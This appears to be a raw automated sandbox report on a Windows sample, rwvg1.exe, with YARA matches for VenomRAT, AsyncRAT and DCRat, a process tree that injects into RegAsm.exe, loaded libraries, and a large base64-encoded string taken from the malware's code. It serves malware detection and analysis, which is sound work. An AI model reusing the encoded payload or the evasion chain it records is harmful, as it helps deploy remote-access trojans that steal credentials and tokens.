Source: 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: Process Memory Space: rwvg1.exe PID: 7796, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: rwvg1.exe PID: 7796, type: MEMORYSTR	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: Process Memory Space: RegAsm.exe PID: 7988, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: RegAsm.exe PID: 7988, type: MEMORYSTR	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: rwvg1.exe, Knvbl.cs	Base64 encoded string: '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
Source: 0.2.rwvg1.exe.28d0000.0.raw.unpack, ClasserPlus.cs	Base64 encoded string: 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq'
Source: udnn4kvb.dll.1.dr, ClasserPlus.cs	Base64 encoded string: 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@8/9@0/2

Source: C:\Users\user\Desktop\rwvg1.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rwvg1.exe.log

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\vfVDlx1hYR5eeg941COCgOYrK6gDAf45JWq0rREs6wMlgEvTfIqUB6GLeUYmXAHG6FXvNHIOyD5aGohg2YWDc5Vc5Yhb/Un2tvnT0+k3WzE=
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7828:120:WilError_03

Source: C:\Users\user\Desktop\rwvg1.exe

File created: C:\Users\user\AppData\Local\Temp\udnn4kvb

Jump to behavior

Source: rwvg1.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: rwvg1.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor

Source: C:\Users\user\Desktop\rwvg1.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: rwvg1.exe

ReversingLabs: Detection: 39%

Source: unknown	Process created: C:\Users\user\Desktop\rwvg1.exe "C:\Users\user\Desktop\rwvg1.exe"
Source: C:\Users\user\Desktop\rwvg1.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.cmdline"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE40B.tmp" "c:\Users\user\AppData\Local\Temp\udnn4kvb\CSC6F1C42AD8BFA43858060D3D5772952B.TMP"
Source: C:\Users\user\Desktop\rwvg1.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\rwvg1.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.cmdline"	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE40B.tmp" "c:\Users\user\AppData\Local\Temp\udnn4kvb\CSC6F1C42AD8BFA43858060D3D5772952B.TMP"	Jump to behavior

Source: C:\Users\user\Desktop\rwvg1.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: devenum.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mmdevapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\rwvg1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: rwvg1.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: rwvg1.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: rwvg1.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\Backup\Venom RAT + HVNC Finally Released 12.03.2024 Fixed Logger\HVNCDll\obj\Release\hvnc.pdb] source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: D:\Backup\Venom RAT + HVNC Finally Released 12.03.2024 Fixed Logger\HVNCDll\obj\Release\hvnc.pdb source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Source: rwvg1.exe

Static PE information: 0x880E69A1 [Fri May 2 12:18:41 2042 UTC]

Source: C:\Users\user\Desktop\rwvg1.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.cmdline"
Source: C:\Users\user\Desktop\rwvg1.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.cmdline"			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_062280D2 push es; ret	5_2_062282E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0622B700 push es; ret	5_2_0622B710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_06223262 push es; ret	5_2_06223270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_06223262 push es; ret	5_2_06223290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_06223282 push es; ret	5_2_06223290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_06223282 push es; ret	5_2_062232B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_06228C30 push es; ret	5_2_06228C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_06221AE2 pushfd ; ret	5_2_06221AED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_062258A3 pushfd ; ret	5_2_062258C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_06971E30 push es; ret	5_2_06971E40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_06974570 push es; ret	5_2_06974580

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

File created: C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.dll

Jump to dropped file

Boot Survival

Yara detected VenomRAT

Source: Yara match	File source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rwvg1.exe PID: 7796, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7988, type: MEMORYSTR

Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rwvg1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
